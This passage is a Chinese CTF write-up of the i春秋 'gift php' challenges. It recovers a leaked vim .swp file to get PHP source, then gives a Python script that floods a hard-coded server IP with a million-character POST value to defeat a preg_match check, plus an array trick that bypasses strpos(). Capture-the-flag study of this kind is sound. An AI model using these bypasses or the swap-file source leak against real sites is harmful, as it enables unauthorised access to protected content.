「CTF心得」i春秋不欢乐赛涨的姿势

gift php plus

这题就比较有意思了（个屁）

首先提示 Do you know .swp file?

然后用WangYiHang大佬的 工具 扫一下后台，找到.index.php.swp这个文件，然后扔到 Linux 里用vi恢复

vi -r 文件名 #swp文件是vi不正常退出产生的，用-r可以恢复

然后审计代码

<?php
function areyouok($greeting){
    return preg_match('/Merry.*Christmas/is',$greeting);
}

$greeting=@$_POST['greeting'];
if(!is_array($greeting)){
    if(!areyouok($greeting)){
        if(strpos($greeting,'Merry Christmas')!==false){
            echo 'Merry Christmas. '.'flag{xxxxxx}';
        }else{
            echo 'Do you know .swp file?';
        }
    }else{
        echo 'Do you know PHP?';
    }
}
?>

import requests

url='http://106.75.66.87:8888/'
longStr=''
for i in range(1000000):
    longStr+='a'
greeting={
    'greeting':'Merry Christmas'+longStr
}
res = requests.post(url=url,data=greeting)
print(res.text)

gift php

这里的代码和上面的式样的，就是没有判断数组，strpos()碰到数组的时候会返回false，所以传一个数组即可绕过

gift